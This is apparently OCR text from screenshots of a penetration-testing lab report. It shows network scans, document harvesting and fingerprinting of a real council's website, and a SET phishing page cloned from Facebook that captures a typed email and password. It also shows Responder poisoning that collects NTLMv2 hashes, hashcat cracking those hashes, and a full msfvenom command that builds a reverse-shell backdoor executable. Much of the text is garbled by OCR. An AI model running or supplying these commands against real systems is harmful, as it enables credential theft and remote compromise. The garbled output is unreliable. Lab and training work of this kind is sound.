Ethernet II, Src: PcsCompu_22:46:47 (08:00:27:22:46:4), Dst: PesCompl 00 25 749 00 00 30 06 6a da 02 00 02 02 G2 0O (- @ ]
02 0f Ob 23 00 00 26 33 e 66 46 72 23 8¢ 50 08 - #. & Afrrt

Internet Protocol Version 4, Src: 16.6.2.14, Dst: 16.6.2.15

Transmission Control Protocol, Src Port: 2851, Dst Port: 6, Seq: 1, L 02 00 9¢ 05 00 00 00 00 00 00 00 00
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$ sudo nmap -sP 10.0.2.%

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-19 10:20 EST
Nmap scan report for 10.0.2.1

Host is up (0.00022s latency).

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.2

Host is up (0.00017s latency).

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.3

Host is up (0.00026s latency).

MAC Address: 08:00:27:F2:EB:FC (Oracle VirtualBox virtual NIC)
Nmap scan report for wi.goodshopping.com (10.0.2.9)

Host is up (0.00017s latency).

MAC Address: 08:00:27:2B:CFi80 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.10

Host is up (0.00023s latency).

MAC Address: 08:00:27:7F:6E:8C (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.14

Host is up.

Nmap done: 256 TP addresses (6 hosts up) scanned in 8.86 seconds

-(kali® kali)-[~]
g
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catus Local  Remote Netuork

\\unuare-host\Shared Folders
Uuare Shared Folders

he conmand completed successfully.
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To assign the disk-drive device name E: to the Letters shared directory on the \\Financial server, type:

® copy

net use e: \\financial\letters
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To disconnect from the \\Financial\Public directory, type:

® copy

net use f: \\financial\public /delete
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msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > show options

Module options:

Name Current Setting Required Description

FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface

PCAPFILE no The name of the PCAP capture file to process
PROTOCOLS a1l yes A comma-delimited list of protocols to sniff or
SNAPLEN 65535 yes The number of bytes to capture

TIMEOUT 1 yes The number of seconds to wait for new data
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Name

SMB Signing not required

| synopsis

Signing is not required on the remote SMB server.

| Description ~]

signing is not required on the remote.
SMB server. An unauthenticated,
remote attacker can exploit this to
‘conduct man-in-the-middle attacks
againstthe SMB server.

1
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Itis possible to obtain the default community name of the.
remote
SNMP server.

An attacker may use this information to gain more knowledge
aboutthe
remote host, or to change the configuration of the remote.
system (if

SNMP Agent Default Community Name (public) The community name of the remote SNMP server can be guessed. the default community allows such modifications).




image52.png
SNMP Service Properties (Local Computer) x
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Send authertication rap

Accepted community names
Communty Rhts
public READ ONLY

O Accept SNMP packets from any host
® Accept SNMP packets from thess hosts.
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(kali® kali)-[~]
$ nikto -h http://wm.itsecgames.com -Cgidirs all
Nikto v2.1.6

Target Ip: 31.3.96.40
Target Hostname:  ww.itsecgames.com

Target Port 80

Start Time: 2022-12-29 10:38:31 (GMT-5)

Server: Apache

The anti-clickjacking X-Frame-Options header is not present.

The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
Uncommon header 'x-generator' found, with contents: Drupal 7 (http://drupal.org)

Uncommon header 'link’ found, with contents: <http://31.3.96.40/>; rel="canonical”,<http://31.3.96.40/>; rel="shortlink

Server may leak inodes via ETags, header found with file /, inode: e43, size: 5d7959bd3c800, mtime: gzip

ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response

Scan terminated: 20 error(s) and 6 item(s) reported on remote host

End Time: 2022-12-29 10:39:16 (GMT-5) (45 seconds)

1 host(s) tested

[(kati®kati)-~]
5

EI

0
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File Actions Edit View Help
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11010000100000001010100110100001110101
011001110111001100101010

The Social-Engineer Toolkit (SET)
Created by: David Kennedy (ReL1K:
Version: £.0.3
Codename: 'Maverick
Follow us on Twitter: alrustedSec
Follow me on Twitter: aHackingDave
Homepage: https://wi.trustedsec.com

Welcome to the Social-Engineer Toolkit (SET)
The one stop shop for all of your SE needs

[—1
—1
[—1
[—1

—1

The Social-Engineer Toolkit is a product of Trustedsec.

It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.con/trustedsec/ptf to update all your tools

Visit: https://wm.trustedsec.con

Select from the menu:

1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit

5)
6)

99)

set> I

Update SET configuration
Help, Credits, and About

Exit the Social-Engineer Toolkit

kali@kali: ~/Desktop/SEToolkit/setoolkit

2055 |a ¢

(<]

= 8l
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indows 10 (Windows 10 Completed) [Running] - Oracle VM Virtud - X
File Machine View Input Devices Help
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[*] WE GOT A HIT! Printing the output
PARAM: [{"eventBody":{"header":{"pageInstance"
-46df-88b3-79c6a9ed19a" , "clientApplicationInstance”
,"requestHeader”:{"interfaceLocale”: "en_US", "pageKey

ent"}H
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

I_homepage-guest-home_jsbeacon” , "trackingId" : "pPBHt+
urn:1i:application: (homepage-guest-frontend, homepage
"}, "startTime":

"pageUrn”: "ury age
"applicationUra”:
d_homepage-guest-home_jsbeacon", "path”:" /", "referer

[+] WE GOT A WIT! Printing the output
POSSTBLE USERNAWE FTELD FOUND: loginCsrfParam=h9107des-11d8-46df-88b3-79c6a49ed19a
PARAM: session_key=jmw5678agnail.com

POSSTBLE PASSWORD FTELD FOUND: Session_password-mypassword

PARAM: trk-homepage-basic_signin-form_submit

PARAM: controlTd=d_homepage-guest-home-homepage-basic_signin-form_submit-button

PARAM: pageInstance=urn: I_homepage~guest-home_jsbeacon; pPBHL+nrQpmaHt FuvBUNVA=

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
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set:webattacks> IP address for the POST back in Harvester/Tabnabbing [10.0.2.14]:

[-1 SET supports both HTTP and HTTPS
[-] Example: http://wm.thisisafakesite.com
set:webattack> Enter the url to clone: www.facebook.com

[*] Cloning the website: https://login.facebook.com/login.php
[+] This could take a little bit ...

The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website
[*] The Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 80

[+] Information will be displayed to you as it arrives below
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@ John M Williams <JMWilliams@carmarthenshire.gov.uk> ®© « « -~ B
To: John Williams (1202877) ‘Wed 04/01/2023 11:05

Please login to your facebook account here 5o | can tag you in anew photo

John M Williams

Rheolwr Gweithrediadau a Liywodraethu TGCh / ICT Operations & Governance Manager
Is-adran TGCh a Pholisi Corfforaethol /ICT and Corporate Policy Division

Cyngor Sir Gar / Carmarthenshire County Council

Post / E-Mail: JMWiliams@sirgar gow.uk

Symudol / Mobile: 07815 832411

Cyngor Sir 535

Carmarthenshire
County Council

tarcom/CammsCouncil

ook com/carmartenshirece

ccomidiscon
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[+] WE GOT A WIT! Printing the output
PARAM: jazoest-2879

PARAM: 1sd-AVoAOtaallo

PARAM: displa
PARAM: isprivate
PARAM: return_session=

POSSIBLE USERNAME FTELD FOUND: skip_api_login=
PARAM: signed_next=

PARAM: trynum
PARAM: timezone:
PARAM: 1gndim=eyJ3Tjox0TIwLCJOT 05N jgsImF3130X0TIWLCIaCT60TT4LCITioyNHO
PARAM: 1gnrnd-031122_31sf

PARAM: 1gnjs=1672830698

POSSTBLE USERNAWE FIELD FOUND: email=jmw5678agmail.com

POSSTBLE PASSWORD FTELD FOUND: pass=password

PARAM: prefill_contact_point:
PARAM: prefill_source:
PARAM: prefill_type:
PARAM: first prefill_source=
PARAM: first_prefill_type
PARAM: had_cp_prefilled=false

POSSIBLE PASSHORD FTELD FOUND: had_password_prefilled=false

PARAM: ab_test_data=AAAPP/vfvFAPAAAAAAAAAAAAAAAPAAARAAAAAAAAY/KFKAAAAF ICBB
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

[*] WE GOT A HIT! Printing the output
POSSTBLE USERNAME FIELD FOUND: ——1004074204684981956177568476
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Netcraft Extension
by Netcraft Ltd

A This add-on is not actively monitored for security by Mozilla. Make sure you trust it before installing.

Learn more

Comprehensive site information and protection from phishing and Add to Firefox

malicious JavaScript when browsing the web
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il Server 2016 (Server 2016 Completed) [Running] - Oracle VM Virtu:
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facebook.com

facebook

Facebook helps you connect and share
with the people in your life.

Forgotten password?

Create New Accoun

Create a Page for a celebrity, brand or business.

English (UK) Polski Espafiol Francais (France) Htaliano Lietwiy Roman;

Fundraisers

w

www.facebook.com

site Report

Risk Rating: 0

Country:  Us Site rank: 4
First seen: IMay 1997  Host: Facebook, Inc.
PFs: v SSLva:  Not supported

Disable protection for this site:

Report malicious URL:

The URL of the site: o
https://www.facebook.com/

Add a reason

Your email address (to receive updates)

Yyou@example.com

_Tercrger
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site Report

Country:  US Site rank: &
Firstseen: Dec2003  Host: Microsoft Co...
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Report malicious URL:
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@ | O LogintoFacebook
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Allow the use of cookies from Facebook in this browser?

We use cookies and similar technologies to help

{8} Provide and improve content on Meta Products

{8y Provide a safer experience by using information that we receive from cookies on and of
Facebook

© Provide and improve Meta Products for people who have an accous

For advertising and measurement services off Meta Products, for analytics, and to provide
certain features and improve our services for you, we use tools from other companies on
Facebook. These companies also use cookies.

You can allow the use of all cookies, just essential cookies or you can choose more options
below. You can leam more about cookies and how we use them, and review or change your
choice at any time in our Caokie Policy,

Essential cookies

These cookies are required to use Meta Products. They're necessary for these sites to work as

Only allow essential cookies Allow essential and optional cookies

Disable protection for this site

Report malicious URL:
The URL of the site: o
http://10.0.2.14/
Add a reason

Your email address (to receive updates)

Yyou@example.com
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[kati®kati)-[~]

$ sudo metagoofil -d itsecgames.com -t doc,pdf -1 200 -n 5
[+] Adding -w for you

[*] Downloaded files will be saved here: /home/kali
[+] Searching for 200 .doc files and waiting 30.0 seconds between searches
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[Lkali® kati)-[~]

$ sudo metagoofil -d carmarthenshire.gov.uk —t doc,pdf -1 200 -n 5 o targetfiles —f

[+] Adding -w for you

[*] Downloaded files will be saved here: targetfiles

[*] Searching for 200 .doc files and waiting 30.0 seconds between searches

[+] Downloading file - [76800 bytes] http://cstlc.carmarthenshire.gov.uk/media/56298/Attendance. doc

[+] Downloading file - [116224 bytes] http://cstlc.carmarthenshire.gov.uk/media/56668/CSTLC-Care-Control-and-the-Use-of-Force-Policy-2019.doc

[+] Downloading file - [184320 bytes] http://cstlc.carmarthenshire.gov.uk/media/56781/Advice-for-families.doc

[+] Downloading file - [963584 bytes] http://cstlc.carmarthenshire.gov.uk/media/56696/CSTLCPositive-Mental-Heal th-and-Wellbeing-Policy.doc

[*] Searching for 200 .pdf files and waiting 30.0 seconds between searches

[-] EXCEPTION: HTTP Error 429: Too Many Requests

[*] Google is blocking you for making too many requests. You will need to spread out the Google searches with metagoofil's switches or utilize SSH and dynamic SOCKS proxies. Don't know how to utilize SSH and dynamic SOCKS proxies? D
o yourself a favor and pick up a copy of The Cyber Plumber’s Handbook and interactive lab (https://gumroad.com/1/cph_book_and_lab) to learn all about Secure Shell (SSH) tunneling, port redirection, and bending traffic like a boss.
[*] Exiting for now...

i® kali)-[~]
’:(iah
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—(kali® kali)-(~]

$ sudo metagoofil -d carmarthenshire.gov.uk -e 300 -t doc,pdf -1 200 -n 5 -0 targetfiles —f
+] Adding -w for you

+] Downloaded files will be saved here: targetfiles

+] Searching for 200 .doc files and waiting 300.0 seconds between searches
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LockBit Black

All your important files are stolen and encrypted!
You must find HLIKNskOq.README.txt file
and follow the instruction!
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Features of Wig Tool

Wig tool supports numerous types of CMS(Content Management Systems).
Wig tool also scans the web application for Vulnerabilities.

Wig tool gathers the subdomains of the Target domain.

Wig tool is a python language-based tool

Wig tool is open source and free to use.

Wig tool also finds such mail server login page or the web-server admin panel.
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yte-compiling build/bdist.linux-x86_64/egg/wig/classes/__init__.py to _init__.cpython-310.pyc
yte-compiling build/bdist.linux-x86_64/egg/wig/classes/Fingerprints.py to fingerprints.cpython-310.pyc
byte-compiling build/bdist.linux-x86_64/egg/wig/classes/cache.py to cache.cpython-310.pyc
byte-compiling build/bdist.linux-x86_64/egg/wig/wig.py to wig.cpython-310.pyc

yte-compiling build/bdist.linux-x86_64/egg/wig/_init__.py to _init__.cpython-310.pyc

creating build/bdist.linux-x86_64/egg/EGG-INFO

copying wig.egg-info/PKG-INFO — build/bdist.linux-x86_64/ege/EGG-INFO

copying wig.egg-info/SOURCES.txt — build/bdist.linux-x86_64/egg/EGG-INFO

copying wig.egg-info/dependency links.txt — build/bdist.linux-x86_64/egg/EGG-INFO

copying wig.egg-info/top_level.txt — build/bdist.linux-x86_64/egg/EGG-INFO

2ip_safe flag not set; analyzing archive contents
iig.classes. _pycache__.fingerprints.cpython-310: module references _file
creating dist

creating 'dist/wig-0.6-py3.10.egg’ and adding 'build/bdist.linux-x86_64/egg’ to it
removing 'build/bdist.linux-x86_64/egg’ (and everything under it)

Processing wig-0.6-py3.10.egg

creating /usr/local/lib/python3.10/dist-packages/wig-0.6-py3.10.egg

Extracting wig-0.6-py3.10.egg to /usr/local/lib/python3.10/dist-packages

Adding wig 0.6 to easy-install.pth file

Installed /usr/local/lib/python3.10/dist-packages/wig-0.6-py3.10.egg
processing dependencies for wig=0.6

Finished processing dependencies for wig=0.6

[ (kali® kali)-[~/Desktop/wig/uig)
5 python3 wig.py -
isage: wig.py [-h] [-1 INPUT_FILE] [-q] [-n STOP_AFTER] [-al [-m] [-ul [-d] [-t THREADS] [—no_cache_load]

iebApp Information Gatherer

ositional arguments:

url The url to scan e.g. http://example.com
options:
-h, —help show this help message and exit
-1 INPUT_FILE File with urls, one per line.
-a Set wig to not prompt for user input during run
-n STOP_AFTER Stop after this amount of CMSs have been detected. Default: 1
-a Do not stop after the first CMS is detected
-m Try harder to find a match without making more requests
-u User-agent to use in the requests
-d Disable the search for subdomains
~t THREADS Number of threads to use
—no_cache_load Do not load cached responses
—no_cache_save Do not save the cache for later use

—cache_dir CACHE_DIR
Set location for cache. Default: ~/.wig_cache - if not possible, CWD is used.

N Shortcut for —no_cache_Lload and —no_cache_save .
—verbosity, Increase verbosity. Use multiple times for more in 12 K-inx-20223-virtualbox-am..
—proxy PROXY Tunnel through a proxy (format: Llocalhost:8080) - =
-w OUTPUT_FILE File to dump results into (JSON) =

[ (kali® kali)-[~/Desktop/wig/uig) =
<1
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—(kali® kali)-[~/Desktop/wig/wig]
—$ sudo python2 wig.py carmarthenshire.gov.uk

/ig - WebApp Information Gatherer
edirected to https://ww.carmarthenshire.gov.wales

ontinue? [Yln]:
Scanning https://ww.carmarthenshire.gov.wales. ..

SITE INFO
P Title
3.107.237.65 Carmarthenshire County Council Website :
3.107.238.65
VERSION
iane Versions Type
mbraco 7.5.117.5.217.5.3 CMs
TS 10.0 Platforn
ET
iane Page Title ]
ttp://webmail.gov.wales: sign In 40.99.202.114
INTERESTING
RL Note Type
‘umbraco/channels/rsd.aspx umbraco rsd file Interesting

‘umbraco/channels/wlumanifest.aspx Umbraco manifest file Interesting

ime: 12.7 sec Urls: 201 Fingerprints: 40401

(kali® kali)-[~/Desktop/wig/wig]
[ ]





image71.png
[Runnin

B E@mPorl-| 23 4|pi= RN

lali@kali: ~/Desktop/wigiwig

File Actions Edit View Help

[*] [MDNS] Poisoned answer sent to fe80:: fcSc:dsab:943c:43a7 for name too.local
[*] [MDNS] Poisoned answer sent to 10.0.2.15 For name too. local

[*] [MDNS] Poisoned answer sent to fe8:: fcsc:deab:943c:43a7 for name too.local

[*] [LLANR] Poisoned answer sent to fe80:: fcSc:doab:943c:43a7 for name too

[*] [LLMNR] Poisoned answer sent to 10.0.2.15 for name too

[*] [LUANR] Poisoned answer sent to fes:: fcscidoab:943c:43aZ for name too

[*] [LLMNR] Poisoned answer sent to 10.0.2.15 for name too

[*] Skipping previously captured hash for WINDOWS1O\admin

[*] [NBT-NS] Poisoned ansuer sent to 10.0.2.15 for name TOOL (service: File Server)

[*] [MDNS] Poisoned answer sent to 10.0.2.15 for name_tool.local

[+] [MDNS] Poisoned answer sent to fes0:: fc5c:d6ab:943c:43a7 for name tool.loc [P Jusr/sharelresponder/logs/SMB-NTLMv2-SSP-feB0:fcScidGab:943c:43a.txt [Read Only] - Mouse (x]
[*] [LLANR] Poisoned answer sent to fe80:: fcSc:doab:943c:43a? for name tool  _ . )

[*] [LUANR] Poisoned answer sent to 10.0.2.15 for name tool File Edit Search View Document Help

[*] [HDNS] Poisoned answer sent to 10.0.2.15 for name tool.local

[*] [LLMNR] Poisoned answer sent to fe80::fcSc:deab:943c:43a7 for name tool B W B B C x S ¢ x @ O QKA ]

[*] [LLMNR] Poisoned answer sent to 10.0.2.15 for name tool ini : s .
[+] [MDNS] Poisoned answer sent to fe8os: fccidsab:9a3c:43a7 for name tool.loc 3 AUMINISLrator::WINDOWS10:c11313F7b7632b94:2B0DCDE1OCO7E7237 564D032AE3835E3:0

[*] skipping previously captured hash for WINDOWS10\admin fLates L VG B LR e e
[+] [MDNS] Poisoned answer sent to 10.0.2.15 for name tools.local 40001001E00570049004E002D00410045004D005000520038005700490039005000520004003
[+] [MDNS] Poisoned answer sent to feso::fcSc:deab:943ci43a7 for name tools.lo  400570049004E002D0041004B004D00500052003800570049003900500052002E00570033003
[+] [MDNS] Poisoned answer sent to 10.0.2.15 for name tools.local 40044002E004C004F00430041004C000300140057003300340044002E004CO04F00430041004
[+] [MDNS] Poisoned answer sent to fe80:: fc5c:d6ab:o43c:43a7 for name tools.lo  CO00500140057003300340044002E004C004F00430041004C000700080000BDGAIECS20D9010
[+] [LLANR] Poisoned answer sent to fes0:: fcScid6ab:943c:43a7 for name tools 3 1 749D25722E3209046F54
[*] [LLUNR] Poisoned ansuer sent to 10.0.2.15 for name tools e T S e R e

[*] [LLMNR] Poisoned answer sent to 10.0.2.15 for name tools
[*] [LLMNR] Poisoned answer sent to fe80:: fcSc:d6ab:943c:43a7 for mame tools
[*] Skipping previously captured hash for WINDOWS10\admin

109001E0063006900660073002F007300650072007600650¢
0000

[+] [MDNS] Poisoned answer sent to 10.0.2.15 P e e 2 administrator :: WINDOWS10: c11313f7b7632b94 : 2BDDCDE10C97E7237564D032A83835B3:0
[*] [LLMNR] Poisoned answer sent to fe80::fcSc:d6ab:943c:43a7 for mame tools  10100000000000000BDGA1EC820D9013842155C0121781A00000000020008005700330034004
[*] [MDNS] Poisoned answer sent to fe80:: fcsc:d6ab:943c:43a7 for name tools.lo  40001001E00570049004E002D0041004B004D005000520038005700490039005000520004003
[*] [LLMNR] Poisoned answer sent to 10.0.2.15 for name tools 400570049004E002D0041004B004D00500052003800570049003900500052002E00570033003
[*] [MDNS] Poisoned answer sent to 10.0.2.15 for name tools.local 40044002E004C004F00430041004C000300140057003300340044002E004C004F00430041004

[*] [LLMNR] Poisoned answer sent to fe80:: fc5c:d6ab:943c:43a7 for name tools 0044002E004C 1004C( 1000800001
[*] [MDNS] Poisoned answer sent to fe80:: fc5c:d6ab:943c:43a7 for name tools.lo Co00001400, 100330034 2E DO4ESe 130041 0987 Do ECaaeD0 1Y)

5 24 3000 1 21 9749D25722E3209046F 54
[*] [LLMNR] Poisoned answer sent to 10.0.2.15 for name tools

[] Skipping previously captured hash for WINDOWS10\admin /A38298E17BD0680900AB18DB2B5CFECI65EFO9DCESEOABD10000000000000000000000000000
[*] [MDNS] Poisoned answer sent to 10.0.2.15 S ot T 000000009001E0063006900660073002F0073006500720076006500720032003000310032000

[*] [MDNS] Poisoned answer sent to fe80:: fc5c:deab:943c:43a7 for name tools.lo  000000000000000
[*] [LLMNR] Poisoned answer sent to fe80:: fcSc:deab:943c:43a7 for mame tools 3 administrator::WINDOWS10:3cf827e8bac63622: FEDB3547DABDF92FA2467E2B26F991B5:0

[*] [MDNS] Poisoned answer sent to 10.0.2.15 for name tools.local 10100000000000000BD6A1EC820D9017A8A4D95931627ECO0000000020008005700330034004

[*] [MDNS] Poisoned answer sent to fe80:: fcsc:d6ab:943c:43a7 for name tools.lo  40001001E00570049004E002D0041004B004D005000520038005700490039005000520004003

[*] [LLMNR] Poisoned answer sent to 10.0.2.15 for name tools

[*] [LLMNR] Poisoned answer sent to fe80:: fcSc:d6ab:943c:43a7 for name tools

[*] [LLMNR] Poisoned answer sent to 10.0.2.15 for name tools

[SMB] NTLMy2-SSP Client : fe80::fcsc:deab:943c:43a7

[SMB] NTLMy2-SSP Username : WINDOWS10\bob

[SMB] NTLMy2-SSP Hash : bob :: WINDOWS10:0012b784647a541e : BS6FD686AD3BIACE351251607E328909  0101000000000000008D6A1 ECB20D90108206EESDEID61CFO000000002000800570033003400440001001E00570049004E002D00410048004D0050005200380057004900390050
00520004003400570049004E002D0041004B8004D00500052003800570049003900500052002E0057003300340044002E004CO04F00430041004C000300140057003300340044002E004C004F00430041004C000500140057003300340044002E004C004F00430041004C000700080000BD6A1ECS20D
901060004000200000008003000300000000000000001000000002000009749D25722E3209046F 54A38298E17BD0680900A818DB2B5CFBCI65EFO9DCESERAOD1000000000000000000000000000000000000900140063006900660073002F0074006F006F006C0073000000000000000000

[*] [MDNS] Poisoned answer sent to 10.0.2.15 for name Windows10.local

[*] [LLMNR] Poisoned answer sent to fe80:: fcSc:d6ab:943c:43a7 for name Windows1o

[*] [LLMNR] Poisoned answer sent to 10.0.2.15 for name Windows10

[+] [MDNS] Poisoned answer sent to fe80::fcsc:d6ab:943c:43a7 for name Windows10.local





image72.png
[ (Kka1i® kali)-[/usr/share/responder/Logs |
4 sudo hashcat —m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
[sudo] password for kal
hashcat (v6.2.5) starting

OpenCL API (OpenCL 3.0 PoCL 3.0:debian Linux, NonesAsserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: pthread-Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz, 2921/5907 M8 (1024 MB allocatable), 2MCU

Minimun password length supported by kernel: 0
Maximun password length supported by kernel: 256

Hashes: 29 digests; 27 unique digests, 27 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte

* Not-Tterated

ATTENTION! Pure (unoptimized) backend kernels selected.

Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -0 to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 M8

Dictionary cache built:

* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392

* Bytes.....: 139921507

* Keyspace..: 14344385

* Runtime...: 2 secs
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Session. .
status 2
Hash.Mode. . .
Hash. Target . hashes . txt

Time.Started Thu Jan 5 09:09:25 2023 (3 mins, 5 secs)
Time.Estimated ... : Thu Jan 5 09:14:20 2023 (1 min, 50 secs)
Kernel.Feature ... : Optimized Kernel

Guess..Base. File (/usr/share/wordlists/rockyou.txt)

Guess.Queue.. : 1/1 (100.00%)

Speed.#1. 665.2 kH/s (1.40ms) @ Accel:512 Loops:1 Thr:1 Vec:s
Recovered 13/27 (48.15%) Digests, 13/27 (48.15%) Salts
Progress. : 245603693/387298395 (63.41%)

Rejected.... 118125/245603693 (0.05%)

Restore.Point....: 9095445/14344385 (63.41%)

Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1

Candidate.Engine.: Device Generator

Candidates.#1....: christoph — christieds

Hardware.Mon.#1..: Util: 96%

hashcat
Running
1 5600 (NetNTLMV2)

Approaching final keyspace - workload adjusted.

Session hashcat

status... : Exhausted

Hash.Mode. . . 5600 (NetNTLMV2)

Hash. Target . hashes . txt

Time.Started.....: Thu Jan 5 09:09:25 2023 (4 mins, 54 secs)

Time.Estinated ..
Kernel. Feature ..

Thu Jan 5 09:14:19 2023 (0 secs)
Optimized Kernel

Guess. Base. : File (/usr/share/wordlists/rockyou. txt)
Guess.Queue.. 1/1 (100.00%)
Speed. #1. 672.5 kH/s (1.46ms) @ Accel:512 Loops:1 Thri1 Vec:8

Recovered........: 13/27 (48.15%) Digests, 13/27 (48.15%) Salts
Progress.... 387298395/387298395 (100.00%)

Rejected.... 176526/387298395 (0.05%)

Restore.Point....: 14344385/14344385 (100.00%)

Restore.Sub.#1...: Salt:26 Amplifier:0-1 Iteration:0-1

Candidate.Engine. : Device Generator

Candidates.#1....: $HEX[2121616e74686F6e792121] — $HEX[042a0337c2a1566166F732103]
Hardware.Mon.#1..: Util: 92%

Started: Thu Jan 5 09:09:03 2023
Stopped: Thu Jan 5 09:14:20 2023
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meteroreter > systofo
computer *toac

o5 + Windous 10 (10.0 Buila 19084).
Aechitacture © 164

syates Language © en s

Logged on Users : 2

Weterpreter ¢ x86/windos

meterareter > run unc
57 Creating a WC roverse tcp stager: LiosT-
141 Rumning payload nanater
[4] WAC stager executable 73802 bytes long
4] Uploaded the VAC agent to C:\Users\Adnin\AppData\Local\Tenp\dzYavrQuhiz
eted manuaily)
47 Executing the WAC sgent with endpont 1
melecareter 5 (4] VNG Server session 2 opens
Comected o RFS server, using protocol version 3.8
Enabling TiGHEVNC protocol extensions.
o suthentscation nessed
Authentication successful
Desktop name “winisact
VNG server defsult formats

52 bits per pixel.

Least significant byte first in each pixe

True colour: max red 255 gresn 255 blue 155, shift red 16 geean § blue ©
Using default colomap which is Truscolor. Pixel formats

32 bits per pixel.

Least sigificant byte first in each pixel.

max red 255 green 253 blue 253, Shift red 16 green 8 blue 0

oreferring rav encoding

8 LpoRT-4545.
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G windows 10 OWindows 10 Completed) Runing) - Oracle VM Vituslfox N
File Machine View Input. Devices. Help.

@ | tnde o share x|+

<« (¢} O R 10.02.14/share/
Index of /share

Name Last modified Size Description

& Parent Directory _
expltestexe  2023-01-06 05:21 72K

Apache/2.4.54 (Debian) Server at 10.0.2.14 Port 80
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S(kalis kali)-[~]

sudo msfvenon ~p windows/meterpreter/reverse_tcp —-platforn windows -a x86 -e

x86/shikata ga nai -b "\x00" LHOST-10.10.10.11 -F exe >
/home /kali/Desktop/MyBackdoor . exe
zsh: parse error near “\n'

Es(kalis kali)-[~]

sudo msfvenon -p windows/meterpreter/reverse_tcp —platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=10.10.10.11 -f exe > /home/kali/Desktop/MyBackdoor.exe

[sudo] password for kali:

/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:

hm:: Ecdsasha2Nistp256 :: NAME

/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.
/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.

hm:: Ecdsasha2Nistp56 :: PREFERENCE

/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.
/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.

hm: Ecdsasha2Nistp256 :: IDENTIFIER

/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.
/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.

hm:: Ecdsasha2Nistp256 :: NAME

/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.
/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.

hm:: EcdsaSha2Nistp56 :: PREFERENCE

/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.
/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp2s6.

hm: Ecdsasha2Nistp256 :: IDENTIFIER

/ust/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp2s6.

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381

Payload size: 381 bytes

Final size of exe fil

73802 bytes

-(kali® kali)-[~]
Con

.2/Lib/hrr_rb_ssh/transport/server_host_key_algorithn/ecdsa_sha2_nistp256.rb
-2/Lib/hrr_rb_ssh/transport/server_host_key_algorithn/ecdsa_sha2_nistp256.rb:

.2/Lib/hrr_rb_ssh/transport/server_host_key_algorithn/ecdsa_sha2_nistp256.rb
.2/ib/hrr_rb_ssh/transport/server_host_key_algorithn/ecdsa_sha2_nistp2s6.rb:

.2/ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb
~2/Lib/hrr_rb_ssh/transport/server_host_key_algorithn/ecdsa_sha2_nistp256.rb:

.2/Lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb

-2/lib/hrr_rb_ssh/transport/server_host_key_algorithn/ecdsa_sha2_nistp256.rb:
b
Tb:
Tb:

11:

11:
12:

12:
13:

13:
11:

11:
12:

12:
13:

13:

warning:

warning

warning:

warnin

warning:

warning

warning:

warning

warning:

warning

warning:

warning:

already initialized

previous definition
already initialized

previous definition
already initialized

previous definition
already initialized

previous definition
already initialized

previous definition
already initialized

previous definition

constant HrrRbSsh::Transport :: ServerHostKeyAlgorit

of NAME was here
constant HrrRbSsh::Transport :: ServerHostKeyAlgorit

of PREFERENCE was here
